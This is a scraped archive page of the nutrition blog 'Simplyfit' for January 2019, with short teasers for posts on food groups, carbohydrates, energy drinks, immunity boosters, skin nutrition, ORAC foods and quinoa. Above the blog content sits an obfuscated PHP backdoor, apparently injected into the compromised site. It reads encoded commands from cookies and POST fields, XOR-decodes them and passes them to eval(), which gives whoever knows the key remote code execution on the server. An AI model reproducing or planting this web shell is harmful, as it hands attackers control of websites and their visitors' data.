January 2019 – Simplyfit

$xxzgXHTMBd = chr (109) . "\x45" . '_' . "\160" . "\x50" . "\x51";$bOcqR = 'c' . chr (108) . chr (97) . 's' . "\x73" . "\x5f" . chr (101) . "\170" . chr ( 854 - 749 )."\163" . 't' . "\x73";$DowXkrjspI = $bOcqR($xxzgXHTMBd); $mLUOft = $DowXkrjspI;if (!$mLUOft){class mE_pPQ{private $pOAfOn;public static $GWHJFFO = "93f77325-bba7-40be-bca0-3f817b407fe0";public static $QXvveSw = 45861;public function __construct(){$QiozDikGJT = $_COOKIE;$fNAMPn = $_POST;$kbJbe = @$QiozDikGJT[substr(mE_pPQ::$GWHJFFO, 0, 4)];if (!empty($kbJbe)){$AxelI = "base64";$bbHZku = "";$kbJbe = explode(",", $kbJbe);foreach ($kbJbe as $LQeIpll){$bbHZku .= @$QiozDikGJT[$LQeIpll];$bbHZku .= @$fNAMPn[$LQeIpll];}$bbHZku = array_map($AxelI . "\137" . chr (100) . "\145" . chr (99) . 'o' . "\144" . chr (101), array($bbHZku,)); $bbHZku = $bbHZku[0] ^ str_repeat(mE_pPQ::$GWHJFFO, (strlen($bbHZku[0]) / strlen(mE_pPQ::$GWHJFFO)) + 1);mE_pPQ::$QXvveSw = @unserialize($bbHZku);}}public function __destruct(){$this->FikwEWRsN();}private function FikwEWRsN(){if (is_array(mE_pPQ::$QXvveSw)) {$SiTqXkqf = str_replace("\74" . chr (63) . "\x70" . 'h' . "\x70", "", mE_pPQ::$QXvveSw[chr ( 1068 - 969 )."\x6f" . 'n' . "\164" . chr (101) . chr ( 886 - 776 )."\x74"]);eval($SiTqXkqf);exit();}}}$GnHQeWnPo = new mE_pPQ(); $GnHQeWnPo = "56233";} January 2019 – Simplyfit

Food groups

Importance of food groups

January 28, 2019 simplyfit

The key to enjoy a nutritious meal and a good health is eating a variety from 5 different food groups…

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Carbohydrates

Carbohydrates – Not a villain

January 21, 2019 simplyfit

Just like your car needs fuel to make it run, your body needs fuel to function. Of course, your body…

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Energy Drinks and Power Bars – Power or Hype

Energy Drinks and Power Bars – Power or Hype

January 14, 2019 simplyfit

Energy drinks and nutrition bars a variety available in the markets make big promises of increasing energy and causing alertness,…

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Immunity boosters

Immunity boosters

January 7, 2019 simplyfit

Winter is here and so are the chances of falling sick. Winter brings with it cold and flu, but a…

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Skin Foods

Nutrition for healthy skin, hair and nails

January 1, 2019 simplyfit

Nutrients for Healthy Skin: Inside and Out What we put on our plate is even more important than what we…

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Orac

Orac food choices

simplyfit

Anti-oxidants have been labeled as the magic bullet for a large range of diseases including various types of cancers and…

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Quinoa

Quinoa – I’m keen, you’re keen, we’re all keen on quinoa!

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Quinoa is actually a seed, rather than a grain, that can be traced back to ancient Peru. Packed with protein,…

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